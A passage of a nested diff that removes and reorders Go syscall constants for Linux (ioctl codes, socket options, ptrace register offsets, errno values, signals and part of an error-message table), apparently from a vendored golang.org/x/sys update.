-- VMADDR_CID_HYPERVISOR = 0x0
-- VMADDR_CID_RESERVED = 0x1
-- VMADDR_PORT_ANY = 0xffffffff
-- VMIN = 0x5
-- VM_SOCKETS_INVALID_VERSION = 0xffffffff
-- VQUIT = 0x1
-- VREPRINT = 0xb
-- VSTART = 0xd
-- VSTOP = 0xe
-- VSUSP = 0xc
-- VSWTC = 0x9
-- VT0 = 0x0
-- VT1 = 0x10000
-- VTDLY = 0x10000
-- VTIME = 0x7
-- VWERASE = 0xa
-- WALL = 0x40000000
-- WCLONE = 0x80000000
-- WCONTINUED = 0x8
-- WEXITED = 0x4
-- WNOHANG = 0x1
-- WNOTHREAD = 0x20000000
-- WNOWAIT = 0x1000000
-- WORDSIZE = 0x40
-- WSTOPPED = 0x2
-- WUNTRACED = 0x2
-- XATTR_CREATE = 0x1
-- XATTR_REPLACE = 0x2
-- XCASE = 0x4000
-- XTABS = 0xc00
-+ B1000000 = 0x17
-+ B115200 = 0x11
-+ B1152000 = 0x18
-+ B1500000 = 0x19
-+ B2000000 = 0x1a
-+ B230400 = 0x12
-+ B2500000 = 0x1b
-+ B3000000 = 0x1c
-+ B3500000 = 0x1d
-+ B4000000 = 0x1e
-+ B460800 = 0x13
-+ B500000 = 0x14
-+ B57600 = 0x10
-+ B576000 = 0x15
-+ B921600 = 0x16
-+ BLKBSZGET = 0x40081270
-+ BLKBSZSET = 0x80081271
-+ BLKFLSBUF = 0x20001261
-+ BLKFRAGET = 0x20001265
-+ BLKFRASET = 0x20001264
-+ BLKGETSIZE = 0x20001260
-+ BLKGETSIZE64 = 0x40081272
-+ BLKPBSZGET = 0x2000127b
-+ BLKRAGET = 0x20001263
-+ BLKRASET = 0x20001262
-+ BLKROGET = 0x2000125e
-+ BLKROSET = 0x2000125d
-+ BLKRRPART = 0x2000125f
-+ BLKSECTGET = 0x20001267
-+ BLKSECTSET = 0x20001266
-+ BLKSSZGET = 0x20001268
-+ BOTHER = 0x1f
-+ BS1 = 0x8000
-+ BSDLY = 0x8000
-+ CBAUD = 0xff
-+ CBAUDEX = 0x0
-+ CIBAUD = 0xff0000
-+ CLOCAL = 0x8000
-+ CR1 = 0x1000
-+ CR2 = 0x2000
-+ CR3 = 0x3000
-+ CRDLY = 0x3000
-+ CREAD = 0x800
-+ CS6 = 0x100
-+ CS7 = 0x200
-+ CS8 = 0x300
-+ CSIZE = 0x300
-+ CSTOPB = 0x400
-+ ECHOCTL = 0x40
-+ ECHOE = 0x2
-+ ECHOK = 0x4
-+ ECHOKE = 0x1
-+ ECHONL = 0x10
-+ ECHOPRT = 0x20
-+ EFD_CLOEXEC = 0x80000
-+ EFD_NONBLOCK = 0x800
-+ EPOLL_CLOEXEC = 0x80000
-+ EXTPROC = 0x10000000
-+ FF1 = 0x4000
-+ FFDLY = 0x4000
-+ FLUSHO = 0x800000
-+ FS_IOC_ENABLE_VERITY = 0x80806685
-+ FS_IOC_GETFLAGS = 0x40086601
-+ FS_IOC_GET_ENCRYPTION_POLICY = 0x800c6615
-+ FS_IOC_GET_ENCRYPTION_PWSALT = 0x80106614
-+ FS_IOC_SET_ENCRYPTION_POLICY = 0x400c6613
-+ F_GETLK = 0x5
-+ F_GETLK64 = 0xc
-+ F_GETOWN = 0x9
-+ F_RDLCK = 0x0
-+ F_SETLK = 0x6
-+ F_SETLK64 = 0xd
-+ F_SETLKW = 0x7
-+ F_SETLKW64 = 0xe
-+ F_SETOWN = 0x8
-+ F_UNLCK = 0x2
-+ F_WRLCK = 0x1
-+ HUPCL = 0x4000
-+ ICANON = 0x100
-+ IEXTEN = 0x400
-+ IN_CLOEXEC = 0x80000
-+ IN_NONBLOCK = 0x800
-+ IOCTL_VM_SOCKETS_GET_LOCAL_CID = 0x200007b9
-+ ISIG = 0x80
-+ IUCLC = 0x1000
-+ IXOFF = 0x400
-+ IXON = 0x200
-+ MAP_ANON = 0x20
-+ MAP_ANONYMOUS = 0x20
-+ MAP_DENYWRITE = 0x800
-+ MAP_EXECUTABLE = 0x1000
-+ MAP_GROWSDOWN = 0x100
-+ MAP_HUGETLB = 0x40000
-+ MAP_LOCKED = 0x80
-+ MAP_NONBLOCK = 0x10000
-+ MAP_NORESERVE = 0x40
-+ MAP_POPULATE = 0x8000
-+ MAP_STACK = 0x20000
-+ MAP_SYNC = 0x80000
-+ MCL_CURRENT = 0x2000
-+ MCL_FUTURE = 0x4000
-+ MCL_ONFAULT = 0x8000
-+ NFDBITS = 0x40
-+ NL2 = 0x200
-+ NL3 = 0x300
-+ NLDLY = 0x300
-+ NOFLSH = 0x80000000
-+ NS_GET_NSTYPE = 0x2000b703
-+ NS_GET_OWNER_UID = 0x2000b704
-+ NS_GET_PARENT = 0x2000b702
-+ NS_GET_USERNS = 0x2000b701
-+ OLCUC = 0x4
-+ ONLCR = 0x2
-+ O_APPEND = 0x400
-+ O_ASYNC = 0x2000
-+ O_CLOEXEC = 0x80000
-+ O_CREAT = 0x40
-+ O_DIRECT = 0x20000
-+ O_DIRECTORY = 0x4000
-+ O_DSYNC = 0x1000
-+ O_EXCL = 0x80
-+ O_FSYNC = 0x101000
-+ O_LARGEFILE = 0x0
-+ O_NDELAY = 0x800
-+ O_NOATIME = 0x40000
-+ O_NOCTTY = 0x100
-+ O_NOFOLLOW = 0x8000
-+ O_NONBLOCK = 0x800
-+ O_PATH = 0x200000
-+ O_RSYNC = 0x101000
-+ O_SYNC = 0x101000
-+ O_TMPFILE = 0x404000
-+ O_TRUNC = 0x200
-+ PARENB = 0x1000
-+ PARODD = 0x2000
-+ PENDIN = 0x20000000
-+ PERF_EVENT_IOC_DISABLE = 0x20002401
-+ PERF_EVENT_IOC_ENABLE = 0x20002400
-+ PERF_EVENT_IOC_ID = 0x40082407
-+ PERF_EVENT_IOC_MODIFY_ATTRIBUTES = 0x8008240b
-+ PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-+ PERF_EVENT_IOC_PERIOD = 0x80082404
-+ PERF_EVENT_IOC_QUERY_BPF = 0xc008240a
-+ PERF_EVENT_IOC_REFRESH = 0x20002402
-+ PERF_EVENT_IOC_RESET = 0x20002403
-+ PERF_EVENT_IOC_SET_BPF = 0x80042408
-+ PERF_EVENT_IOC_SET_FILTER = 0x80082406
-+ PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-+ PPPIOCATTACH = 0x8004743d
-+ PPPIOCATTCHAN = 0x80047438
-+ PPPIOCCONNECT = 0x8004743a
-+ PPPIOCDETACH = 0x8004743c
-+ PPPIOCDISCONN = 0x20007439
-+ PPPIOCGASYNCMAP = 0x40047458
-+ PPPIOCGCHAN = 0x40047437
-+ PPPIOCGDEBUG = 0x40047441
-+ PPPIOCGFLAGS = 0x4004745a
-+ PPPIOCGIDLE = 0x4010743f
-+ PPPIOCGIDLE32 = 0x4008743f
-+ PPPIOCGIDLE64 = 0x4010743f
-+ PPPIOCGL2TPSTATS = 0x40487436
-+ PPPIOCGMRU = 0x40047453
-+ PPPIOCGRASYNCMAP = 0x40047455
-+ PPPIOCGUNIT = 0x40047456
-+ PPPIOCGXASYNCMAP = 0x40207450
-+ PPPIOCSACTIVE = 0x80107446
-+ PPPIOCSASYNCMAP = 0x80047457
-+ PPPIOCSCOMPRESS = 0x8010744d
-+ PPPIOCSDEBUG = 0x80047440
-+ PPPIOCSFLAGS = 0x80047459
-+ PPPIOCSMAXCID = 0x80047451
-+ PPPIOCSMRRU = 0x8004743b
-+ PPPIOCSMRU = 0x80047452
-+ PPPIOCSNPMODE = 0x8008744b
-+ PPPIOCSPASS = 0x80107447
-+ PPPIOCSRASYNCMAP = 0x80047454
-+ PPPIOCSXASYNCMAP = 0x8020744f
-+ PPPIOCXFERUNIT = 0x2000744e
-+ PROT_SAO = 0x10
-+ PR_SET_PTRACER_ANY = 0xffffffffffffffff
-+ PTRACE_GETEVRREGS = 0x14
-+ PTRACE_GETFPREGS = 0xe
-+ PTRACE_GETREGS64 = 0x16
-+ PTRACE_GETVRREGS = 0x12
-+ PTRACE_GETVSRREGS = 0x1b
-+ PTRACE_GET_DEBUGREG = 0x19
-+ PTRACE_SETEVRREGS = 0x15
-+ PTRACE_SETFPREGS = 0xf
-+ PTRACE_SETREGS64 = 0x17
-+ PTRACE_SETVRREGS = 0x13
-+ PTRACE_SETVSRREGS = 0x1c
-+ PTRACE_SET_DEBUGREG = 0x1a
-+ PTRACE_SINGLEBLOCK = 0x100
-+ PTRACE_SYSEMU = 0x1d
-+ PTRACE_SYSEMU_SINGLESTEP = 0x1e
-+ PT_CCR = 0x26
-+ PT_CTR = 0x23
-+ PT_DAR = 0x29
-+ PT_DSCR = 0x2c
-+ PT_DSISR = 0x2a
-+ PT_FPR0 = 0x30
-+ PT_FPSCR = 0x50
-+ PT_LNK = 0x24
-+ PT_MSR = 0x21
-+ PT_NIP = 0x20
-+ PT_ORIG_R3 = 0x22
-+ PT_R0 = 0x0
-+ PT_R1 = 0x1
-+ PT_R10 = 0xa
-+ PT_R11 = 0xb
-+ PT_R12 = 0xc
-+ PT_R13 = 0xd
-+ PT_R14 = 0xe
-+ PT_R15 = 0xf
-+ PT_R16 = 0x10
-+ PT_R17 = 0x11
-+ PT_R18 = 0x12
-+ PT_R19 = 0x13
-+ PT_R2 = 0x2
-+ PT_R20 = 0x14
-+ PT_R21 = 0x15
-+ PT_R22 = 0x16
-+ PT_R23 = 0x17
-+ PT_R24 = 0x18
-+ PT_R25 = 0x19
-+ PT_R26 = 0x1a
-+ PT_R27 = 0x1b
-+ PT_R28 = 0x1c
-+ PT_R29 = 0x1d
-+ PT_R3 = 0x3
-+ PT_R30 = 0x1e
-+ PT_R31 = 0x1f
-+ PT_R4 = 0x4
-+ PT_R5 = 0x5
-+ PT_R6 = 0x6
-+ PT_R7 = 0x7
-+ PT_R8 = 0x8
-+ PT_R9 = 0x9
-+ PT_REGS_COUNT = 0x2c
-+ PT_RESULT = 0x2b
-+ PT_SOFTE = 0x27
-+ PT_TRAP = 0x28
-+ PT_VR0 = 0x52
-+ PT_VRSAVE = 0x94
-+ PT_VSCR = 0x93
-+ PT_VSR0 = 0x96
-+ PT_VSR31 = 0xd4
-+ PT_XER = 0x25
-+ RLIMIT_AS = 0x9
-+ RLIMIT_MEMLOCK = 0x8
-+ RLIMIT_NOFILE = 0x7
-+ RLIMIT_NPROC = 0x6
-+ RLIMIT_RSS = 0x5
-+ RNDADDENTROPY = 0x80085203
-+ RNDADDTOENTCNT = 0x80045201
-+ RNDCLEARPOOL = 0x20005206
-+ RNDGETENTCNT = 0x40045200
-+ RNDGETPOOL = 0x40085202
-+ RNDRESEEDCRNG = 0x20005207
-+ RNDZAPENTCNT = 0x20005204
-+ RTC_AIE_OFF = 0x20007002
-+ RTC_AIE_ON = 0x20007001
-+ RTC_ALM_READ = 0x40247008
-+ RTC_ALM_SET = 0x80247007
-+ RTC_EPOCH_READ = 0x4008700d
-+ RTC_EPOCH_SET = 0x8008700e
-+ RTC_IRQP_READ = 0x4008700b
-+ RTC_IRQP_SET = 0x8008700c
-+ RTC_PIE_OFF = 0x20007006
-+ RTC_PIE_ON = 0x20007005
-+ RTC_PLL_GET = 0x40207011
-+ RTC_PLL_SET = 0x80207012
-+ RTC_RD_TIME = 0x40247009
-+ RTC_SET_TIME = 0x8024700a
-+ RTC_UIE_OFF = 0x20007004
-+ RTC_UIE_ON = 0x20007003
-+ RTC_VL_CLR = 0x20007014
-+ RTC_VL_READ = 0x40047013
-+ RTC_WIE_OFF = 0x20007010
-+ RTC_WIE_ON = 0x2000700f
-+ RTC_WKALM_RD = 0x40287010
-+ RTC_WKALM_SET = 0x8028700f
-+ SCM_TIMESTAMPING = 0x25
-+ SCM_TIMESTAMPING_OPT_STATS = 0x36
-+ SCM_TIMESTAMPING_PKTINFO = 0x3a
-+ SCM_TIMESTAMPNS = 0x23
-+ SCM_TXTIME = 0x3d
-+ SCM_WIFI_STATUS = 0x29
-+ SFD_CLOEXEC = 0x80000
-+ SFD_NONBLOCK = 0x800
-+ SIOCATMARK = 0x8905
-+ SIOCGPGRP = 0x8904
-+ SIOCGSTAMPNS_NEW = 0x40108907
-+ SIOCGSTAMP_NEW = 0x40108906
-+ SIOCINQ = 0x4004667f
-+ SIOCOUTQ = 0x40047473
-+ SIOCSPGRP = 0x8902
-+ SOCK_CLOEXEC = 0x80000
-+ SOCK_DGRAM = 0x2
-+ SOCK_NONBLOCK = 0x800
-+ SOCK_STREAM = 0x1
-+ SOL_SOCKET = 0x1
-+ SO_ACCEPTCONN = 0x1e
-+ SO_ATTACH_BPF = 0x32
-+ SO_ATTACH_REUSEPORT_CBPF = 0x33
-+ SO_ATTACH_REUSEPORT_EBPF = 0x34
-+ SO_BINDTODEVICE = 0x19
-+ SO_BINDTOIFINDEX = 0x3e
-+ SO_BPF_EXTENSIONS = 0x30
-+ SO_BROADCAST = 0x6
-+ SO_BSDCOMPAT = 0xe
-+ SO_BUSY_POLL = 0x2e
-+ SO_CNX_ADVICE = 0x35
-+ SO_COOKIE = 0x39
-+ SO_DETACH_REUSEPORT_BPF = 0x44
-+ SO_DOMAIN = 0x27
-+ SO_DONTROUTE = 0x5
-+ SO_ERROR = 0x4
-+ SO_INCOMING_CPU = 0x31
-+ SO_INCOMING_NAPI_ID = 0x38
-+ SO_KEEPALIVE = 0x9
-+ SO_LINGER = 0xd
-+ SO_LOCK_FILTER = 0x2c
-+ SO_MARK = 0x24
-+ SO_MAX_PACING_RATE = 0x2f
-+ SO_MEMINFO = 0x37
-+ SO_NOFCS = 0x2b
-+ SO_OOBINLINE = 0xa
-+ SO_PASSCRED = 0x14
-+ SO_PASSSEC = 0x22
-+ SO_PEEK_OFF = 0x2a
-+ SO_PEERCRED = 0x15
-+ SO_PEERGROUPS = 0x3b
-+ SO_PEERSEC = 0x1f
-+ SO_PROTOCOL = 0x26
-+ SO_RCVBUF = 0x8
-+ SO_RCVBUFFORCE = 0x21
-+ SO_RCVLOWAT = 0x10
-+ SO_RCVTIMEO = 0x12
-+ SO_RCVTIMEO_NEW = 0x42
-+ SO_RCVTIMEO_OLD = 0x12
-+ SO_REUSEADDR = 0x2
-+ SO_REUSEPORT = 0xf
-+ SO_RXQ_OVFL = 0x28
-+ SO_SECURITY_AUTHENTICATION = 0x16
-+ SO_SECURITY_ENCRYPTION_NETWORK = 0x18
-+ SO_SECURITY_ENCRYPTION_TRANSPORT = 0x17
-+ SO_SELECT_ERR_QUEUE = 0x2d
-+ SO_SNDBUF = 0x7
-+ SO_SNDBUFFORCE = 0x20
-+ SO_SNDLOWAT = 0x11
-+ SO_SNDTIMEO = 0x13
-+ SO_SNDTIMEO_NEW = 0x43
-+ SO_SNDTIMEO_OLD = 0x13
-+ SO_TIMESTAMPING = 0x25
-+ SO_TIMESTAMPING_NEW = 0x41
-+ SO_TIMESTAMPING_OLD = 0x25
-+ SO_TIMESTAMPNS = 0x23
-+ SO_TIMESTAMPNS_NEW = 0x40
-+ SO_TIMESTAMPNS_OLD = 0x23
-+ SO_TIMESTAMP_NEW = 0x3f
-+ SO_TXTIME = 0x3d
-+ SO_TYPE = 0x3
-+ SO_WIFI_STATUS = 0x29
-+ SO_ZEROCOPY = 0x3c
-+ TAB1 = 0x400
-+ TAB2 = 0x800
-+ TAB3 = 0xc00
-+ TABDLY = 0xc00
-+ TCFLSH = 0x2000741f
-+ TCGETA = 0x40147417
-+ TCGETS = 0x402c7413
-+ TCSAFLUSH = 0x2
-+ TCSBRK = 0x2000741d
-+ TCSBRKP = 0x5425
-+ TCSETA = 0x80147418
-+ TCSETAF = 0x8014741c
-+ TCSETAW = 0x80147419
-+ TCSETS = 0x802c7414
-+ TCSETSF = 0x802c7416
-+ TCSETSW = 0x802c7415
-+ TCXONC = 0x2000741e
-+ TIOCCBRK = 0x5428
-+ TIOCCONS = 0x541d
-+ TIOCEXCL = 0x540c
-+ TIOCGDEV = 0x40045432
-+ TIOCGETC = 0x40067412
-+ TIOCGETD = 0x5424
-+ TIOCGETP = 0x40067408
-+ TIOCGEXCL = 0x40045440
-+ TIOCGICOUNT = 0x545d
-+ TIOCGISO7816 = 0x40285442
-+ TIOCGLCKTRMIOS = 0x5456
-+ TIOCGLTC = 0x40067474
-+ TIOCGPGRP = 0x40047477
-+ TIOCGPKT = 0x40045438
-+ TIOCGPTLCK = 0x40045439
-+ TIOCGPTN = 0x40045430
-+ TIOCGPTPEER = 0x20005441
-+ TIOCGRS485 = 0x542e
-+ TIOCGSERIAL = 0x541e
-+ TIOCGSID = 0x5429
-+ TIOCGSOFTCAR = 0x5419
-+ TIOCGWINSZ = 0x40087468
-+ TIOCINQ = 0x4004667f
-+ TIOCLINUX = 0x541c
-+ TIOCMBIC = 0x5417
-+ TIOCMBIS = 0x5416
-+ TIOCMGET = 0x5415
-+ TIOCMIWAIT = 0x545c
-+ TIOCMSET = 0x5418
-+ TIOCM_CAR = 0x40
-+ TIOCM_CD = 0x40
-+ TIOCM_CTS = 0x20
-+ TIOCM_DSR = 0x100
-+ TIOCM_LOOP = 0x8000
-+ TIOCM_OUT1 = 0x2000
-+ TIOCM_OUT2 = 0x4000
-+ TIOCM_RI = 0x80
-+ TIOCM_RNG = 0x80
-+ TIOCM_SR = 0x10
-+ TIOCM_ST = 0x8
-+ TIOCNOTTY = 0x5422
-+ TIOCNXCL = 0x540d
-+ TIOCOUTQ = 0x40047473
-+ TIOCPKT = 0x5420
-+ TIOCSBRK = 0x5427
-+ TIOCSCTTY = 0x540e
-+ TIOCSERCONFIG = 0x5453
-+ TIOCSERGETLSR = 0x5459
-+ TIOCSERGETMULTI = 0x545a
-+ TIOCSERGSTRUCT = 0x5458
-+ TIOCSERGWILD = 0x5454
-+ TIOCSERSETMULTI = 0x545b
-+ TIOCSERSWILD = 0x5455
-+ TIOCSER_TEMT = 0x1
-+ TIOCSETC = 0x80067411
-+ TIOCSETD = 0x5423
-+ TIOCSETN = 0x8006740a
-+ TIOCSETP = 0x80067409
-+ TIOCSIG = 0x80045436
-+ TIOCSISO7816 = 0xc0285443
-+ TIOCSLCKTRMIOS = 0x5457
-+ TIOCSLTC = 0x80067475
-+ TIOCSPGRP = 0x80047476
-+ TIOCSPTLCK = 0x80045431
-+ TIOCSRS485 = 0x542f
-+ TIOCSSERIAL = 0x541f
-+ TIOCSSOFTCAR = 0x541a
-+ TIOCSTART = 0x2000746e
-+ TIOCSTI = 0x5412
-+ TIOCSTOP = 0x2000746f
-+ TIOCSWINSZ = 0x80087467
-+ TIOCVHANGUP = 0x5437
-+ TOSTOP = 0x400000
-+ TUNATTACHFILTER = 0x801054d5
-+ TUNDETACHFILTER = 0x801054d6
-+ TUNGETDEVNETNS = 0x200054e3
-+ TUNGETFEATURES = 0x400454cf
-+ TUNGETFILTER = 0x401054db
-+ TUNGETIFF = 0x400454d2
-+ TUNGETSNDBUF = 0x400454d3
-+ TUNGETVNETBE = 0x400454df
-+ TUNGETVNETHDRSZ = 0x400454d7
-+ TUNGETVNETLE = 0x400454dd
-+ TUNSETCARRIER = 0x800454e2
-+ TUNSETDEBUG = 0x800454c9
-+ TUNSETFILTEREBPF = 0x400454e1
-+ TUNSETGROUP = 0x800454ce
-+ TUNSETIFF = 0x800454ca
-+ TUNSETIFINDEX = 0x800454da
-+ TUNSETLINK = 0x800454cd
-+ TUNSETNOCSUM = 0x800454c8
-+ TUNSETOFFLOAD = 0x800454d0
-+ TUNSETOWNER = 0x800454cc
-+ TUNSETPERSIST = 0x800454cb
-+ TUNSETQUEUE = 0x800454d9
-+ TUNSETSNDBUF = 0x800454d4
-+ TUNSETSTEERINGEBPF = 0x400454e0
-+ TUNSETTXFILTER = 0x800454d1
-+ TUNSETVNETBE = 0x800454de
-+ TUNSETVNETHDRSZ = 0x800454d8
-+ TUNSETVNETLE = 0x800454dc
-+ UBI_IOCATT = 0x80186f40
-+ UBI_IOCDET = 0x80046f41
-+ UBI_IOCEBCH = 0x80044f02
-+ UBI_IOCEBER = 0x80044f01
-+ UBI_IOCEBISMAP = 0x40044f05
-+ UBI_IOCEBMAP = 0x80084f03
-+ UBI_IOCEBUNMAP = 0x80044f04
-+ UBI_IOCMKVOL = 0x80986f00
-+ UBI_IOCRMVOL = 0x80046f01
-+ UBI_IOCRNVOL = 0x91106f03
-+ UBI_IOCRPEB = 0x80046f04
-+ UBI_IOCRSVOL = 0x800c6f02
-+ UBI_IOCSETVOLPROP = 0x80104f06
-+ UBI_IOCSPEB = 0x80046f05
-+ UBI_IOCVOLCRBLK = 0x80804f07
-+ UBI_IOCVOLRMBLK = 0x20004f08
-+ UBI_IOCVOLUP = 0x80084f00
-+ VDISCARD = 0x10
-+ VEOF = 0x4
-+ VEOL = 0x6
-+ VEOL2 = 0x8
-+ VMIN = 0x5
-+ VREPRINT = 0xb
-+ VSTART = 0xd
-+ VSTOP = 0xe
-+ VSUSP = 0xc
-+ VSWTC = 0x9
-+ VT1 = 0x10000
-+ VTDLY = 0x10000
-+ VTIME = 0x7
-+ VWERASE = 0xa
-+ WDIOC_GETBOOTSTATUS = 0x40045702
-+ WDIOC_GETPRETIMEOUT = 0x40045709
-+ WDIOC_GETSTATUS = 0x40045701
-+ WDIOC_GETSUPPORT = 0x40285700
-+ WDIOC_GETTEMP = 0x40045703
-+ WDIOC_GETTIMELEFT = 0x4004570a
-+ WDIOC_GETTIMEOUT = 0x40045707
-+ WDIOC_KEEPALIVE = 0x40045705
-+ WDIOC_SETOPTIONS = 0x40045704
-+ WORDSIZE = 0x40
-+ XCASE = 0x4000
-+ XTABS = 0xc00
- )
-
- // Errors
- const (
-- E2BIG = syscall.Errno(0x7)
-- EACCES = syscall.Errno(0xd)
- EADDRINUSE = syscall.Errno(0x62)
- EADDRNOTAVAIL = syscall.Errno(0x63)
- EADV = syscall.Errno(0x44)
- EAFNOSUPPORT = syscall.Errno(0x61)
-- EAGAIN = syscall.Errno(0xb)
- EALREADY = syscall.Errno(0x72)
- EBADE = syscall.Errno(0x34)
-- EBADF = syscall.Errno(0x9)
- EBADFD = syscall.Errno(0x4d)
- EBADMSG = syscall.Errno(0x4a)
- EBADR = syscall.Errno(0x35)
- EBADRQC = syscall.Errno(0x38)
- EBADSLT = syscall.Errno(0x39)
- EBFONT = syscall.Errno(0x3b)
-- EBUSY = syscall.Errno(0x10)
- ECANCELED = syscall.Errno(0x7d)
-- ECHILD = syscall.Errno(0xa)
- ECHRNG = syscall.Errno(0x2c)
- ECOMM = syscall.Errno(0x46)
- ECONNABORTED = syscall.Errno(0x67)
-@@ -1943,23 +562,15 @@ const (
- EDEADLK = syscall.Errno(0x23)
- EDEADLOCK = syscall.Errno(0x3a)
- EDESTADDRREQ = syscall.Errno(0x59)
-- EDOM = syscall.Errno(0x21)
- EDOTDOT = syscall.Errno(0x49)
- EDQUOT = syscall.Errno(0x7a)
-- EEXIST = syscall.Errno(0x11)
-- EFAULT = syscall.Errno(0xe)
-- EFBIG = syscall.Errno(0x1b)
- EHOSTDOWN = syscall.Errno(0x70)
- EHOSTUNREACH = syscall.Errno(0x71)
- EHWPOISON = syscall.Errno(0x85)
- EIDRM = syscall.Errno(0x2b)
- EILSEQ = syscall.Errno(0x54)
- EINPROGRESS = syscall.Errno(0x73)
-- EINTR = syscall.Errno(0x4)
-- EINVAL = syscall.Errno(0x16)
-- EIO = syscall.Errno(0x5)
- EISCONN = syscall.Errno(0x6a)
-- EISDIR = syscall.Errno(0x15)
- EISNAM = syscall.Errno(0x78)
- EKEYEXPIRED = syscall.Errno(0x7f)
- EKEYREJECTED = syscall.Errno(0x81)
-@@ -1976,8 +587,6 @@ const (
- ELNRNG = syscall.Errno(0x30)
- ELOOP = syscall.Errno(0x28)
- EMEDIUMTYPE = syscall.Errno(0x7c)
-- EMFILE = syscall.Errno(0x18)
-- EMLINK = syscall.Errno(0x1f)
- EMSGSIZE = syscall.Errno(0x5a)
- EMULTIHOP = syscall.Errno(0x48)
- ENAMETOOLONG = syscall.Errno(0x24)
-@@ -1985,103 +594,70 @@ const (
- ENETDOWN = syscall.Errno(0x64)
- ENETRESET = syscall.Errno(0x66)
- ENETUNREACH = syscall.Errno(0x65)
-- ENFILE = syscall.Errno(0x17)
- ENOANO = syscall.Errno(0x37)
- ENOBUFS = syscall.Errno(0x69)
- ENOCSI = syscall.Errno(0x32)
- ENODATA = syscall.Errno(0x3d)
-- ENODEV = syscall.Errno(0x13)
-- ENOENT = syscall.Errno(0x2)
-- ENOEXEC = syscall.Errno(0x8)
- ENOKEY = syscall.Errno(0x7e)
- ENOLCK = syscall.Errno(0x25)
- ENOLINK = syscall.Errno(0x43)
- ENOMEDIUM = syscall.Errno(0x7b)
-- ENOMEM = syscall.Errno(0xc)
- ENOMSG = syscall.Errno(0x2a)
- ENONET = syscall.Errno(0x40)
- ENOPKG = syscall.Errno(0x41)
- ENOPROTOOPT = syscall.Errno(0x5c)
-- ENOSPC = syscall.Errno(0x1c)
- ENOSR = syscall.Errno(0x3f)
- ENOSTR = syscall.Errno(0x3c)
- ENOSYS = syscall.Errno(0x26)
-- ENOTBLK = syscall.Errno(0xf)
- ENOTCONN = syscall.Errno(0x6b)
-- ENOTDIR = syscall.Errno(0x14)
- ENOTEMPTY = syscall.Errno(0x27)
- ENOTNAM = syscall.Errno(0x76)
- ENOTRECOVERABLE = syscall.Errno(0x83)
- ENOTSOCK = syscall.Errno(0x58)
- ENOTSUP = syscall.Errno(0x5f)
-- ENOTTY = syscall.Errno(0x19)
- ENOTUNIQ = syscall.Errno(0x4c)
-- ENXIO = syscall.Errno(0x6)
- EOPNOTSUPP = syscall.Errno(0x5f)
- EOVERFLOW = syscall.Errno(0x4b)
- EOWNERDEAD = syscall.Errno(0x82)
-- EPERM = syscall.Errno(0x1)
- EPFNOSUPPORT = syscall.Errno(0x60)
-- EPIPE = syscall.Errno(0x20)
- EPROTO = syscall.Errno(0x47)
- EPROTONOSUPPORT = syscall.Errno(0x5d)
- EPROTOTYPE = syscall.Errno(0x5b)
-- ERANGE = syscall.Errno(0x22)
- EREMCHG = syscall.Errno(0x4e)
- EREMOTE = syscall.Errno(0x42)
- EREMOTEIO = syscall.Errno(0x79)
- ERESTART = syscall.Errno(0x55)
- ERFKILL = syscall.Errno(0x84)
-- EROFS = syscall.Errno(0x1e)
- ESHUTDOWN = syscall.Errno(0x6c)
- ESOCKTNOSUPPORT = syscall.Errno(0x5e)
-- ESPIPE = syscall.Errno(0x1d)
-- ESRCH = syscall.Errno(0x3)
- ESRMNT = syscall.Errno(0x45)
- ESTALE = syscall.Errno(0x74)
- ESTRPIPE = syscall.Errno(0x56)
- ETIME = syscall.Errno(0x3e)
- ETIMEDOUT = syscall.Errno(0x6e)
- ETOOMANYREFS = syscall.Errno(0x6d)
-- ETXTBSY = syscall.Errno(0x1a)
- EUCLEAN = syscall.Errno(0x75)
- EUNATCH = syscall.Errno(0x31)
- EUSERS = syscall.Errno(0x57)
-- EWOULDBLOCK = syscall.Errno(0xb)
-- EXDEV = syscall.Errno(0x12)
- EXFULL = syscall.Errno(0x36)
- )
-
- // Signals
- const (
-- SIGABRT = syscall.Signal(0x6)
-- SIGALRM = syscall.Signal(0xe)
- SIGBUS = syscall.Signal(0x7)
- SIGCHLD = syscall.Signal(0x11)
- SIGCLD = syscall.Signal(0x11)
- SIGCONT = syscall.Signal(0x12)
-- SIGFPE = syscall.Signal(0x8)
-- SIGHUP = syscall.Signal(0x1)
-- SIGILL = syscall.Signal(0x4)
-- SIGINT = syscall.Signal(0x2)
- SIGIO = syscall.Signal(0x1d)
-- SIGIOT = syscall.Signal(0x6)
-- SIGKILL = syscall.Signal(0x9)
-- SIGPIPE = syscall.Signal(0xd)
- SIGPOLL = syscall.Signal(0x1d)
- SIGPROF = syscall.Signal(0x1b)
- SIGPWR = syscall.Signal(0x1e)
-- SIGQUIT = syscall.Signal(0x3)
-- SIGSEGV = syscall.Signal(0xb)
- SIGSTKFLT = syscall.Signal(0x10)
- SIGSTOP = syscall.Signal(0x13)
- SIGSYS = syscall.Signal(0x1f)
-- SIGTERM = syscall.Signal(0xf)
-- SIGTRAP = syscall.Signal(0x5)
- SIGTSTP = syscall.Signal(0x14)
- SIGTTIN = syscall.Signal(0x15)
- SIGTTOU = syscall.Signal(0x16)
-- SIGUNUSED = syscall.Signal(0x1f)
- SIGURG = syscall.Signal(0x17)
- SIGUSR1 = syscall.Signal(0xa)
- SIGUSR2 = syscall.Signal(0xc)
-@@ -2092,172 +668,180 @@ const (
- )
-
- // Error table
--var errors = [...]string{
-- 1: "operation not permitted",
-- 2: "no such file or directory",
-- 3: "no such process",
-- 4: "interrupted system call",
-- 5: "input/output error",
-- 6: "no such device or address",
-- 7: "argument list too long",
-- 8: "exec format error",
-- 9: "bad file descriptor",
-- 10: "no child processes",
-- 11: "resource temporarily unavailable",
-- 12: "cannot allocate memory",
-- 13: "permission denied",
-- 14: "bad address",
-- 15: "block device required",
-- 16: "device or resource busy",
-- 17: "file exists",
-- 18: "invalid cross-device link",
-- 19: "no such device",
-- 20: "not a directory",
-- 21: "is a directory",
-- 22: "invalid argument",
-- 23: "too many open files in system",
-- 24: "too many open files",
-- 25: "inappropriate ioctl for device",
-- 26: "text file busy",
-- 27: "file too large",
-- 28: "no space left on device",
-- 29: "illegal seek",
-- 30: "read-only file system",
-- 31: "too many links",
-- 32: "broken pipe",
-- 33: "numerical argument out of domain",
-- 34: "numerical result out of range",
-- 35: "resource deadlock avoided",
-- 36: "file name too long",
-- 37: "no locks available",
-- 38: "function not implemented",
-- 39: "directory not empty",
-- 40: "too many levels of symbolic links",
-- 42: "no message of desired type",
-- 43: "identifier removed",
-- 44: "channel number out of range",
-- 45: "level 2 not synchronized",
-- 46: "level 3 halted",
-- 47: "level 3 reset",
